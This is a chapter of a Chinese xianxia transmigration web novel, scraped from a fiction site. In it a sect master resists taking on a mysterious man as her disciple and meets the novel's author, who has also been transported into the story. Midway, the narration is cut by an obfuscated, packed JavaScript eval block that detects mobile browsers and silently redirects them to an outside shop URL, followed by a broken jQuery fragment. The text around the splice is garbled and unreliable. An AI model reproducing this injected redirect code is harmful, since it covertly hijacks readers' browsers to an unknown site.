文趣网 > 其他小说 > 师父她不想按剧情走 > 4. 第四章
    阮棠棠徘徊在殿中的时候,准备多听几句的时候,柳如烟拦住了她,让她去一趟冷月宫拿药。想到峰中还有个‘老大难’,她本想推辞。可是,四目相对之下,这位大师姐神色凛然,阮棠棠到嘴边的话还是咽了下去。洛千羽本想捉住阮棠棠问问她发生的事,这下三人齐齐在冷月峰大殿内大眼瞪小眼。

    “你在想什么呢?最近怎么总是发呆?”洛千羽上下打量着阮棠棠,又将桌子上的茶杯斟满水。

    阮棠棠回过神来,嘻嘻道:“没想什么,在想燕北声跑得还挺快的,到现在都没见到他。”

    洛千羽不屑道:“切!你下次遇到这种事万不可逞能,能跑先跑,不要拿自己的性命开玩笑。”

    阮棠棠道:“师兄,扶摇山的门口不是刻着’敢为人先,责无旁贷‘吗?”

    洛千羽长叹一口气,道:”你这么想是自然是好。可是,大可不这么做。师父在世时,最常说的一句话就是‘切勿逞能’。若是没有冲锋在前的能力,就不要盲目上前。”

    柳如烟终是说出了今日第三句话,“他说的对。”

    扶摇山的人对阮棠棠如此关心,最大的原因还是她那死去的父母。她的父母本是一对逍遥自在,自成一派的道侣。在一次深入极地,取药材的过程中,深受重伤,最后虽取到药材,但不久后不治而亡,双双去世。

    阮氏夫妇拿药救的人是赵长起。

    当年以赵长起为魔族’噬骨仙人‘所伤,即使一掌打死了对方,可自己也身中剧毒,命不久矣。他是扶摇山的掌门,那时顾清尘只是而立之年,尚未树立威信,若是他死了,说不定现在魔族一统天下了。

    于扶摇山乃至整个仙门而言都欠了他二人。

    阮氏夫妇死后,留下一孤女。当时赵长起本想自己收阮棠棠为弟子,可是那是仙魔关系紧张,首当其冲掌门是弟子先遭殃,权衡之下还是让阮棠棠拜了全扶摇山最闲鱼的包麋为师,也就是上一任青岚峰峰主,洛千羽的师父。

    包麋将阮棠棠收入门下的时候,自己早就常年闭关不出了,更不要说彼时阮棠棠三岁,还在流口水,哪里能拜师学艺,求仙问道。洛千羽身为包麋的亲传弟子,承担起了照顾阮棠棠的责任。等到阮棠棠长到十岁的时候,这位一共见过两次的师父升天了。

    里外里阮棠棠是洛千羽拉扯大的。

    洛千羽见阮棠棠没再说话,以为是自己语气重了,语气又轻又缓道:“我和如烟不是让你做胆小鬼。”这句话说完,还补充了一句“不是让你做像燕北声那样的胆小鬼,是让你量力而为,你要是出了什么事,我怎么对得起师父。”

    阮棠棠回过神来,面对这翻高谈阔论,配合地点了点头。

    柳如烟给完药之后,冷言冷语让二人赶快离开,她要去查阅资料,将要用心脏到心脏的术法都找出来。

    洛千羽和阮棠棠在冷月峰门口告别。阮棠棠要尽快赶回去处理叛逆青少年,而洛千羽要去探望萎靡不振的师弟。

    两人愁容满面去往不同的方向。

    阮棠棠人还没飞道落星峰门口,远远看到了苏念禾焦急的身影。

    一等到阮棠棠走到她面前,苏念禾连忙道:“师父,出事了。”

    阮棠棠波澜不惊道:“出什么事了?”

    苏念禾道:“你走后,我叫来师弟将那人抬去药庐,谁知道刚一靠近,他就醒过来了。他…他什么也没说,兀自回到了你的卧房,任我们在外面怎么说,始终不理不睬,现在还没出来。

    苏念禾又补充道:“弟子们不敢进你的卧房。”

    阮棠棠长叹一口气,她从将他捡回来的时候就有预感,这人不是那么好打发的。她随即摆了摆手,道:“无妨,为师去看看。”

    阮棠棠到房间里面的时候,看到了那男子正悠哉悠哉坐在案前,一边喝茶一边写字,仿佛阮棠棠才是客人。那人见到阮棠棠进来,先没有抬头,等到字写完了,才缓缓抬起头,道:“你回来了?”

    这人有失心疯。

    阮棠棠道:“我回来了,你该走了。”

    这人脸色一沉,道:“你今早问我要去哪里,我现在回答你,我无处可去,准备在你这里。”

    阮棠棠看不惯道:“我不同意你在我这里,你速速离开。”

    那人道:“我要是不呢?”

    阮棠棠迅速闪身而上,再往前一里,短刀就会刺中这人的心脏。可这人非但不害怕,脸色都没变。

    僵持片刻,阮棠棠收刀。她道:“你到底是谁?”

    那人道:“景琰”

    阮棠棠道:“你来扶摇山什么目的?”

    景琰睨了一眼阮棠棠道:“拜师”

    阮棠棠道:“为何会出现在无妄峰?”

    景琰道:“迷路。”

    阮棠棠毫不掩饰打量着这人,判断不出是真是假。半晌,她道:“你是魔族的人。”

    判断不出来,就先炸一炸。

    景琰面色沉静,道:“不是。”

    阮棠棠道:“拜师去别处拜,我不收徒弟。”

    景琰道:“我并未说过自己要拜你为师。”

    阮棠棠气笑了,道:“那请你离开。”

    “不走。”景琰吐字清晰,道:“我不拜你为师,也可住在这里。”

    阮棠棠没再废话,一掌打向那人的胸膛。景琰竟然没有躲闪,实实在在挨了一掌,吐出一口血来。阮棠棠本想试探这人的修为程度,谁能想到是这种情况。她略微心虚道:“为什么不躲。”

    景琰道:“不会”

    景琰又道:“是以,才要拜师。我准备拜你为师。”

    阮棠棠无语凝噎,“你刚才不是说不拜的吗?”

    景琰一脸真诚道:“刚才我没见是我你的本领自然不能轻易拜师,这下见识到了,我决定拜你为师。”

    阮棠棠只想赶快赶走这捡来的深井冰,“我说了,不收弟子。”

    景琰道:“总要有个理由。”

    阮棠棠道:“我不需要向你解释。你赶快离开,该去拜谁去拜谁,反正我不收。”

    两人这段没有营养的对话没持续多久,外面传来了一阵子敲门声。阮棠棠现在最怕这个。她装的波澜不惊去开门,道:“怎么了?”

    门外三名弟子齐齐看向屋内。

    阮棠棠无语,咳嗽了两声重复道:“怎么了?”

    苏念禾尴尬一笑道:“师父,外面有一个人求见,非要说是你的至交好友。我怕….”

    流年不利,祸不单行,一波未平又起一波。

    她哪里有什么朋友啊。

    这个‘朋友’现在是撞枪口上了。阮棠棠进去拽起景琰,一时间差点抓不住,他没有丝毫反抗,一路爹爹状被拽到了门外。

    几名弟子看见师父这么暴躁,不敢再多看,唯唯诺诺。

    阮棠棠对着下巴上还有血渍的景琰道:“我不管你想干嘛,我回来的时候别让我再看见你。”

    说罢,朝着正殿方向去了。

    正殿内一个身材矮小,穿戴破烂的矮子端坐在凳子上。阮棠棠左看右看,睁大眼睛看,都确认从没见过这号人物。

    这人不丑也不好看,大众长相,唯一的特点就是估摸着站起来只到阮棠棠肩头。

    前有碰瓷,后有骗子。

    阮棠棠怒道:“听说你自称是我朋友?”

    那人点了点头,鼓起勇气开口道:“我…问心无愧。”

    阮棠棠好笑道:“问心无愧?我怎么不记得有你这号朋友?”

    话音一落,阮棠棠大叫道:“问心无愧?是你?你是问心无愧?”

    顶着弟子们惊疑的目光,方才好好的矮人忽然一把鼻涕一把泪,颤声道:“是我”

    这段没头没尾的对话,这个古怪的场景,大家不知所措,不知道该如何是好。阮棠棠恢复理智道:“你们先退下。”

    几人如释重负,速速退至殿外,关上大门。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594002|205542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阮棠棠忍着一脚踢飞他的冲动,骂道:“是你写的?你就是问心无愧?”

    ‘问心无愧’抽泣道:“怎么了?男作者就不能写女频吗?我的小说每一本都有百万读者。”

    阮棠棠揪起他的耳朵,道:“你就不能写点正常剧情吗?凭什么让炮灰开场就死?还有那个破烂人设,你这么喜欢这种人设,我现在霸道地墙纸你去跪键盘。”

    问心无愧哽咽道:“读者就爱看这个我有什么办法。在这个赛道上我一骑绝尘,怎么就不能写了。”

    看着阮棠棠怒气未消,问心无愧又委屈道:“你好歹穿成了有名有姓有修为的人,你看看我!你都不知道,我任人宰割,一醒来就在柴房里,那家的老爷好龙阳,我我我差点让他玷污了!”

    阮棠棠看着他折服惨兮兮的样子,衣服裤子上都是布丁,灰头土脸的。再看看自己,经历是坎坷了点,但也不愁吃穿,环境宽松,气消了一半,撒手放开他的耳朵。阮棠棠对着他语气不善道:“你——你怎么找到这儿的?”

    不提还好,一提到这一路上的颠沛流离,遭人白眼,还差点失去清白。一路上靠着乞讨着才活了下来,好在要开仙盟大会,扶摇山人收紧缺,招了一批庖厨,他才顺利混上来。‘问心无愧’泪流满面,一抽一抽道:“我….知道你本来要死…..结果没死…..山下你救人的事…..传开了…..我估摸你肯定也是…..”

    阮棠棠看着他声泪俱下又哭了半柱香的时间,自己都插不上话。

    冷静下来,突然想开了。

    事已至此,他们该怎么办。

    阮棠棠见他可以说话了,嫌弃道:“你芳名是?”

    问心无愧突然擦干眼泪,扭扭捏捏,半天不开口,似乎在酝酿什么。阮棠棠见他这个辣眼睛的样子,气不打一出来道:“我看我们还是各归各位,从来没见过得好。”

    问心无愧道脱口而出:“强强。”

    “什么?”

    问心无愧红着脸大声道:“孙强强!我现在叫孙强强!”

    “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!”阮棠棠的阴霾烟消云散,捂着肚子,擦去眼角笑出的眼泪。

    “咳咳,强强。你……”

    孙强强面色突然凝重,盯着后面。

    阴沉的声音从门外传来:“你笑什么?”

    阮棠棠迟疑回过头去,那货不知道什么时候打开门,阴恻恻挡在门口。

    阮棠棠无奈道:“你没听见我的话吗?我不收徒弟,你快走吧。”

    孙强强脑筋一转,道:“棠棠君,你要是能收我当弟子,那就再好不过了。”

    景琰道:“你收他当弟子却不愿意收我?”

    孙强强张口想反驳一二,对上那双眼睛,上下嘴唇紧闭。

    阮棠棠道:“我收谁当弟子全凭自己意愿,与你何干?”

    景琰将两边的门都打开,门外的弟子站成一排,齐刷刷往里面看。景琰道:“你不告诉我不愿收我做弟子的原因,我就一日不走。”

    弟子一号道:“师父,你都收那人了。为什么不收景师弟?他刚才还帮我打水呢!”

    弟子二号道:“是啊,景师弟长得清秀俊俏,我们落星峰的形象往后更上一层楼,说不定可以超过冷月峰。”

    站在左边一直没说话的苏念禾突然道:“师父,我觉得景琰身世凄惨,父母双亡,你不能弃置于不顾。”

    这些五花八门,七嘴八舌的话语,让事情演变成了拜师大会。阮棠棠看着这一个两个的弟子,气得想撞墙。

    景师弟是神仙吗?半柱香的时间干了这么多事情。

    她只是离开了一小会儿,景琰怎么就这么受欢迎了,师都没拜呢,全部一口一个景师弟喊着,刚才他们可不是这种态度。

    景琰衣服上的血渍干了,嘴唇有些泛白,眼睛里透着一种明亮的狡黠。

    阮棠棠叹气道:“不要喧哗了,就依你们所言。”